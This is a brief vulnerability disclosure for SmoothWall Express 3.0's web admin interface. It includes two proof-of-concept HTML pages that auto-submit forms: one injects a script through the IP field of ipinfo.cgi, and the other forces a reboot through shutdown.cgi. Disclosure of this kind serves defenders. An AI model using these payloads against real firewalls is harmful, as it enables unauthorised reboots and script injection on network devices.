SmoothWall Express version 3.0 suffers from cross site request forgery and cross site scripting vulnerabilities.
d61d1d4552d432caed489253b2758e1a41631dd9f5cbb82a97948fc26cf07602
The web management interface of SmoothWall Express 3.0 is vulnerable
to xss and csrf.
xss example:
<html>
<title> SmoothWall Express 3.0 xss </title>
<body>
<form action="http://192.168.0.1:81/cgi-bin/ipinfo.cgi" method="post"
id="xssplz">
<input type="hidden" name="IP" value='"<script>alert(1);</script>'></input>
<input type="hidden" name="ACTION" value='Run'></input>
</form>
<script>document.getElementById("xssplz").submit();</script>
</body>
csrf example:
<html>
<title> SmoothWall Express 3.0 csrf </title>
<body>
<form action="http://192.168.0.1:81/cgi-bin/shutdown.cgi"
method="post" id="csrfplz">
<input type="hidden" name="ACTION" value='Reboot'></input>
</form>
<script>document.getElementById("csrfplz").submit();</script>
</body>
--
Something's rotten in the state of Denmark. -- Shakespeare